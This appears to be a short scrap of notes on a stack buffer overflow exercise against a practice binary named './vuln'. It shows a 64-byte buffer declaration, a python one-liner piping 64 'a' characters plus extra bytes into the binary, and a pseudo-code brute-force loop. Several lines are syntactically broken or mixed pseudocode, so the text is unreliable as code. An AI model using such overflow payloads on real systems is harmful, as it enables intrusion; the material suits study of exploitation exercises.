char buffer[64];
int check;

buffer[count] = i;

while(true) {
      read(stdin,char,1)
}

(python -c "print ('a' * 64) + 'xyaxdayaxda'" ; cat) | ./vuln

for (x = 0;x < 65;x++) {
    print a | ./vuln
}
print xya | ./vuln
... so on and so forth